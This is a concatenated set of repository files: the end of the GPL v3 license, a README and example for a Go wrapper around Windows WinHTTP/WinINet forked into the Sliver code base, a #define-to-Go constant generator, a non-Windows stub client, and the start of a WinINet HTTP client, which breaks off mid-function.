A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
or convey a specific copy of the covered work, then the patent license
|
||||
you grant is automatically extended to all recipients of the covered
|
||||
work and works based on it.
|
||||
|
||||
A patent license is "discriminatory" if it does not include within
|
||||
the scope of its coverage, prohibits the exercise of, or is
|
||||
conditioned on the non-exercise of one or more of the rights that are
|
||||
specifically granted under this License. You may not convey a covered
|
||||
work if you are a party to an arrangement with a third party that is
|
||||
in the business of distributing software, under which you make payment
|
||||
to the third party based on the extent of your activity of conveying
|
||||
the work, and under which the third party grants, to any of the
|
||||
parties who would receive the covered work from you, a discriminatory
|
||||
patent license (a) in connection with copies of the covered work
|
||||
conveyed by you (or copies made from those copies), or (b) primarily
|
||||
for and in connection with specific products or compilations that
|
||||
contain the covered work, unless you entered into that arrangement,
|
||||
or that patent license was granted, prior to 28 March 2007.
|
||||
|
||||
Nothing in this License shall be construed as excluding or limiting
|
||||
any implied license or other defenses to infringement that may
|
||||
otherwise be available to you under applicable patent law.
|
||||
|
||||
12. No Surrender of Others' Freedom.
|
||||
|
||||
If conditions are imposed on you (whether by court order, agreement or
|
||||
otherwise) that contradict the conditions of this License, they do not
|
||||
excuse you from the conditions of this License. If you cannot convey a
|
||||
covered work so as to satisfy simultaneously your obligations under this
|
||||
License and any other pertinent obligations, then as a consequence you may
|
||||
not convey it at all. For example, if you agree to terms that obligate you
|
||||
to collect a royalty for further conveying from those to whom you convey
|
||||
the Program, the only way you could satisfy both those terms and this
|
||||
License would be to refrain entirely from conveying the Program.
|
||||
|
||||
13. Use with the GNU Affero General Public License.
|
||||
|
||||
Notwithstanding any other provision of this License, you have
|
||||
permission to link or combine any covered work with a work licensed
|
||||
under version 3 of the GNU Affero General Public License into a single
|
||||
combined work, and to convey the resulting work. The terms of this
|
||||
License will continue to apply to the part which is the covered work,
|
||||
but the special requirements of the GNU Affero General Public License,
|
||||
section 13, concerning interaction through a network will apply to the
|
||||
combination as such.
|
||||
|
||||
14. Revised Versions of this License.
|
||||
|
||||
The Free Software Foundation may publish revised and/or new versions of
|
||||
the GNU General Public License from time to time. Such new versions will
|
||||
be similar in spirit to the present version, but may differ in detail to
|
||||
address new problems or concerns.
|
||||
|
||||
Each version is given a distinguishing version number. If the
|
||||
Program specifies that a certain numbered version of the GNU General
|
||||
Public License "or any later version" applies to it, you have the
|
||||
option of following the terms and conditions either of that numbered
|
||||
version or of any later version published by the Free Software
|
||||
Foundation. If the Program does not specify a version number of the
|
||||
GNU General Public License, you may choose any version ever published
|
||||
by the Free Software Foundation.
|
||||
|
||||
If the Program specifies that a proxy can decide which future
|
||||
versions of the GNU General Public License can be used, that proxy's
|
||||
public statement of acceptance of a version permanently authorizes you
|
||||
to choose that version for the Program.
|
||||
|
||||
Later license versions may give you additional or different
|
||||
permissions. However, no additional obligations are imposed on any
|
||||
author or copyright holder as a result of your choosing to follow a
|
||||
later version.
|
||||
|
||||
15. Disclaimer of Warranty.
|
||||
|
||||
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
|
||||
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
|
||||
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
|
||||
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
|
||||
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
|
||||
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
|
||||
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
|
||||
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
|
||||
|
||||
16. Limitation of Liability.
|
||||
|
||||
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
|
||||
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
|
||||
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
|
||||
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
|
||||
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
|
||||
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
|
||||
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
|
||||
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
|
||||
SUCH DAMAGES.
|
||||
|
||||
17. Interpretation of Sections 15 and 16.
|
||||
|
||||
If the disclaimer of warranty and limitation of liability provided
|
||||
above cannot be given local legal effect according to their terms,
|
||||
reviewing courts shall apply local law that most closely approximates
|
||||
an absolute waiver of all civil liability in connection with the
|
||||
Program, unless a warranty or assumption of liability accompanies a
|
||||
copy of the Program in return for a fee.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
How to Apply These Terms to Your New Programs
|
||||
|
||||
If you develop a new program, and you want it to be of the greatest
|
||||
possible use to the public, the best way to achieve this is to make it
|
||||
free software which everyone can redistribute and change under these terms.
|
||||
|
||||
To do so, attach the following notices to the program. It is safest
|
||||
to attach them to the start of each source file to most effectively
|
||||
state the exclusion of warranty; and each file should have at least
|
||||
the "copyright" line and a pointer to where the full notice is found.
|
||||
|
||||
<one line to give the program's name and a brief idea of what it does.>
|
||||
Copyright (C) <year> <name of author>
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
Also add information on how to contact you by electronic and paper mail.
|
||||
|
||||
If the program does terminal interaction, make it output a short
|
||||
notice like this when it starts in an interactive mode:
|
||||
|
||||
<program> Copyright (C) <year> <name of author>
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type `show c' for details.
|
||||
|
||||
The hypothetical commands `show w' and `show c' should show the appropriate
|
||||
parts of the General Public License. Of course, your program's commands
|
||||
might be different; for a GUI interface, you would use an "about box".
|
||||
|
||||
You should also get your employer (if you work as a programmer) or school,
|
||||
if any, to sign a "copyright disclaimer" for the program, if necessary.
|
||||
For more information on this, and how to apply and follow the GNU GPL, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,119 @@
|
||||
# Forked from https://gitlab.com/mjwhitta/win/
|
||||
|
||||
#### Changes
|
||||
|
||||
* Removed winhttp code
|
||||
* Removed custom errors package
|
||||
* Removed custom pathname package
|
||||
* Refactored names to be consistent with the rest of the Sliver code base
|
||||
* Merged client `http` sub-packages with `winhttp` and `wininet`
|
||||
* Added custom cookie jar implementation to wininet client
|
||||
|
||||
# Win
|
||||
|
||||
<a href="https://www.buymeacoffee.com/mjwhitta">🍪 Buy me a cookie</a>
|
||||
|
||||
[](https://goreportcard.com/report/gitlab.com/mjwhitta/win)
|
||||
|
||||
## What is this?
|
||||
|
||||
This Go module wraps WinHTTP and WinINet functions and includes HTTP
|
||||
clients that use those functions to make HTTP requests. Hopefully,
|
||||
this makes it easier to make HTTP requests in Go on Windows. WinHTTP
|
||||
(and theoretically WinINet) can even handle NTLM authentication
|
||||
automatically for you.
|
||||
|
||||
Microsoft recommends [WinINet over WinHTTP] unless you're writing a
|
||||
Windows service.
|
||||
|
||||
**Note:** This is probably beta quality at best.
|
||||
|
||||
[WinINet over WinHTTP]: https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-vs-winhttp
|
||||
|
||||
## How to install
|
||||
|
||||
Open a terminal and run the following:
|
||||
|
||||
```
|
||||
$ go get --ldflags="-s -w" --trimpath -u gitlab.com/mjwhitta/win
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Minimal example:
|
||||
|
||||
```
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// "gitlab.com/mjwhitta/win/winhttp/http"
|
||||
"gitlab.com/mjwhitta/win/wininet/http"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var b []byte
|
||||
var dst = "http://127.0.0.1:8080/asdf"
|
||||
var e error
|
||||
var headers = map[string]string{
|
||||
"User-Agent": "testing, testing, 1, 2, 3...",
|
||||
}
|
||||
var req *http.Request
|
||||
var res *http.Response
|
||||
|
||||
http.DefaultClient.TLSClientConfig.InsecureSkipVerify = true
|
||||
|
||||
if _, e = http.Get(dst); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
|
||||
req = http.NewRequest(http.MethodPost, dst, []byte("test"))
|
||||
req.AddCookie(&http.Cookie{Name: "chocolatechip", Value: "tasty"})
|
||||
req.AddCookie(&http.Cookie{Name: "oatmealraisin", Value: "gross"})
|
||||
req.AddCookie(&http.Cookie{Name: "snickerdoodle", Value: "yummy"})
|
||||
req.Headers = headers
|
||||
|
||||
if res, e = http.DefaultClient.Do(req); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
|
||||
if res.Body != nil {
|
||||
if b, e = ioutil.ReadAll(res.Body); e != nil {
|
||||
panic(e)
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Println(res.Status)
|
||||
for k, vs := range res.Header {
|
||||
for _, v := range vs {
|
||||
fmt.Printf("%s: %s\n", k, v)
|
||||
}
|
||||
}
|
||||
if len(b) > 0 {
|
||||
fmt.Println(string(b))
|
||||
}
|
||||
|
||||
if len(res.Cookies()) > 0 {
|
||||
fmt.Println()
|
||||
fmt.Println("# COOKIEJAR")
|
||||
}
|
||||
|
||||
for _, cookie := range res.Cookies() {
|
||||
fmt.Printf("%s = %s\n", cookie.Name, cookie.Value)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Links
|
||||
|
||||
- [Source](https://gitlab.com/mjwhitta/win)
|
||||
|
||||
## TODO
|
||||
|
||||
- Mirror `net/http` as close as possible
|
||||
- CookieJar for the Client
|
||||
- etc...
|
||||
- WinINet
|
||||
- FTP client
|
||||
@@ -0,0 +1,249 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/user"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func format(str string) string {
|
||||
if !strings.Contains(str, "_") {
|
||||
return str
|
||||
}
|
||||
|
||||
str = strings.ReplaceAll(strings.ToLower(str), "_", " ")
|
||||
str = strings.ReplaceAll(strings.Title(str), " ", "")
|
||||
str = strings.ReplaceAll(str, "Crlf", "CRLF")
|
||||
str = strings.ReplaceAll(str, "Http", "HTTP")
|
||||
|
||||
return str
|
||||
}
|
||||
|
||||
func genFile(
|
||||
pkg string,
|
||||
cache map[string]string,
|
||||
lines [][]string,
|
||||
) error {
|
||||
var err error
|
||||
var file string = "generated.go"
|
||||
var g *os.File
|
||||
var sorted []string
|
||||
|
||||
if g, err = os.Create(file); err != nil {
|
||||
return fmt.Errorf("failed to create %s: %w", file, err)
|
||||
}
|
||||
defer g.Close()
|
||||
|
||||
g.WriteString(
|
||||
"// Code generated by tools/defines.go; DO NOT EDIT.\n",
|
||||
)
|
||||
g.WriteString("package " + pkg + "\n\n")
|
||||
g.WriteString("const (\n")
|
||||
|
||||
for k := range cache {
|
||||
sorted = append(sorted, k)
|
||||
}
|
||||
|
||||
sort.Slice(
|
||||
sorted,
|
||||
func(i int, j int) bool {
|
||||
return len(sorted[i]) > len(sorted[j])
|
||||
},
|
||||
)
|
||||
|
||||
for _, line := range lines {
|
||||
for _, k := range sorted {
|
||||
line[1] = strings.ReplaceAll(line[1], k, cache[k])
|
||||
}
|
||||
|
||||
if strings.HasPrefix(line[1], "\"") {
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
|
||||
)
|
||||
} else if strings.HasPrefix(line[1], "L\"") {
|
||||
g.WriteString(
|
||||
fmt.Sprintf(
|
||||
"\t%s string = %s\n",
|
||||
line[0],
|
||||
strings.Replace(line[1], "L", "", 1),
|
||||
),
|
||||
)
|
||||
} else if strings.HasPrefix(line[1], "TEXT(") {
|
||||
line[1] = strings.Replace(line[1], "TEXT(", "", 1)
|
||||
line[1] = strings.Replace(line[1], ")", "", 1)
|
||||
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
|
||||
)
|
||||
} else {
|
||||
g.WriteString(
|
||||
fmt.Sprintf("\t%s uintptr = %s\n", line[0], line[1]),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
g.WriteString(")\n")
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func init() {
|
||||
flag.Parse()
|
||||
}
|
||||
|
||||
func main() {
|
||||
var cache = map[string]string{
|
||||
"NULL": "0",
|
||||
"sizeof": "len",
|
||||
}
|
||||
var lines [][]string
|
||||
|
||||
if flag.NArg() == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for i, arg := range flag.Args() {
|
||||
if (i == 0) || !DoesExist(arg) {
|
||||
continue
|
||||
}
|
||||
|
||||
if err := processFile(&cache, &lines, arg); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := genFile(flag.Arg(0), cache, lines); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
func processFile(
|
||||
cache *map[string]string,
|
||||
lines *[][]string,
|
||||
file string,
|
||||
) error {
|
||||
var b []byte
|
||||
var err error
|
||||
var f *os.File
|
||||
var fullLine string
|
||||
var tmp []string
|
||||
|
||||
if f, err = os.Open(ExpandPath(file)); err != nil {
|
||||
return fmt.Errorf("failed to open %s: %w", file, err)
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if b, err = ioutil.ReadAll(f); err != nil {
|
||||
return fmt.Errorf("failed to read %s: %w", file, err)
|
||||
}
|
||||
|
||||
for _, line := range strings.Split(string(b), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
|
||||
if strings.HasSuffix(line, "\\") {
|
||||
fullLine += line[:len(line)-1]
|
||||
continue
|
||||
} else {
|
||||
fullLine += line
|
||||
}
|
||||
|
||||
line = fullLine
|
||||
fullLine = ""
|
||||
|
||||
if !strings.HasPrefix(line, "#define") {
|
||||
continue
|
||||
}
|
||||
|
||||
line = strings.Replace(line, "#define ", "", 1)
|
||||
tmp = strings.SplitN(line, " ", 2)
|
||||
|
||||
if (len(tmp) != 2) ||
|
||||
strings.Contains(tmp[0], "(") ||
|
||||
strings.Contains(tmp[0], ")") ||
|
||||
strings.Contains(tmp[1], "~") ||
|
||||
strings.Contains(tmp[1], "_(") ||
|
||||
strings.Contains(tmp[1], "DWORD") ||
|
||||
strings.Contains(tmp[1], "EXTERN_C") ||
|
||||
strings.Contains(tmp[1], "__MINGW_NAME") ||
|
||||
(tmp[0]+"W" == tmp[1]) {
|
||||
continue
|
||||
}
|
||||
|
||||
(*cache)[tmp[0]] = format(tmp[0])
|
||||
*lines = append(*lines, []string{format(tmp[0]), tmp[1]})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DoesExist returns true if the specified path exists on disk, false
|
||||
// otherwise.
|
||||
func DoesExist(path string) bool {
|
||||
if _, err := os.Stat(ExpandPath(path)); err == nil {
|
||||
return true
|
||||
} else if os.IsNotExist(err) {
|
||||
return false
|
||||
} else {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// ExpandPath will expand the specified path accounting for ~ or ~user
|
||||
// shortcuts as well as ENV vars.
|
||||
func ExpandPath(path string) string {
|
||||
var err error
|
||||
var sep int
|
||||
var usr *user.User
|
||||
|
||||
// Fix separators
|
||||
path = filepath.Clean(path)
|
||||
|
||||
// Expand ENV vars
|
||||
path = os.ExpandEnv(path)
|
||||
|
||||
// Expand ~
|
||||
if strings.HasPrefix(path, "~") {
|
||||
sep = strings.Index(path, string(filepath.Separator))
|
||||
|
||||
switch sep {
|
||||
case -1:
|
||||
// If just ~
|
||||
if path == "~" {
|
||||
if usr, err = user.Current(); err != nil {
|
||||
return path
|
||||
}
|
||||
} else {
|
||||
// If ~user shortcut
|
||||
if usr, err = user.Lookup(path[1:]); err != nil {
|
||||
return path
|
||||
}
|
||||
}
|
||||
|
||||
path = ""
|
||||
case 1:
|
||||
// If path starting with ~/
|
||||
if usr, err = user.Current(); err != nil {
|
||||
return path
|
||||
}
|
||||
|
||||
path = path[2:]
|
||||
default:
|
||||
// If ~user/ shortcut
|
||||
if usr, err = user.Lookup(path[1:sep]); err != nil {
|
||||
return path
|
||||
}
|
||||
|
||||
path = path[sep+1:]
|
||||
}
|
||||
|
||||
return filepath.Join(usr.HomeDir, path)
|
||||
}
|
||||
|
||||
// Otherwise just return path
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
|
||||
package http
|
||||
|
||||
import "errors"
|
||||
|
||||
// Client is an empty struct, if not Windows.
|
||||
type Client struct{}
|
||||
|
||||
// NewClient is only supported on Windows.
|
||||
func NewClient() (*Client, error) {
|
||||
return &Client{}, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Do is only supported on Windows.
|
||||
func (c *Client) Do(r *Request) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Get is only supported on Windows.
|
||||
func (c *Client) Get(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Head is only supported on Windows.
|
||||
func (c *Client) Head(url string) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
|
||||
// Post is only supported on Windows.
|
||||
func (c *Client) Post(
|
||||
url string,
|
||||
contentType string,
|
||||
body []byte,
|
||||
) (*Response, error) {
|
||||
return nil, errors.New("unsupported OS")
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
package wininet
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Client is a struct containing relevant metadata to make HTTP
|
||||
// requests.
|
||||
type Client struct {
|
||||
handle uintptr
|
||||
Timeout time.Duration
|
||||
TLSClientConfig struct {
|
||||
InsecureSkipVerify bool
|
||||
}
|
||||
CookieJar *Jar
|
||||
}
|
||||
|
||||
// NewClient will return a pointer to a new Client instance that
|
||||
// simply wraps the net/http.Client type.
|
||||
func NewClient(userAgent string) (*Client, error) {
|
||||
var client = &Client{
|
||||
CookieJar: cookieJar(),
|
||||
}
|
||||
var err error
|
||||
|
||||
// Create session
|
||||
client.handle, err = InternetOpenW(
|
||||
userAgent,
|
||||
InternetOpenTypePreconfig,
|
||||
"",
|
||||
"",
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create session: %w", err)
|
||||
}
|
||||
return client, nil
|
||||
}
|
||||
|
||||
// Do will send the HTTP request and return an HTTP response.
|
||||
func (c *Client) Do(request *http.Request) (*http.Response, error) {
|
||||
var buf []byte
|
||||
var err error
|
||||
var reqHandle uintptr
|
||||
var resp *Response
|
||||
|
||||
var rawBody []byte
|
||||
if request.Body != nil {
|
||||
rawBody, err = ioutil.ReadAll(request.Body)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to read request body: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
headers := make(map[string]string)
|
||||
for headerName, headerValue := range request.Header {
|
||||
if 0 < len(headerValue) {
|
||||
headers[headerName] = headerValue[0]
|
||||
}
|
||||
}
|
||||
req := &Request{
|
||||
Method: request.Method,
|
||||
URL: request.URL.String(),
|
||||
Headers: headers,
|
||||
Body: rawBody,
|
||||
}
|
||||
|
||||
if reqHandle, err = buildRequest(c.handle, req); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if c.Timeout > 0 {
|
||||
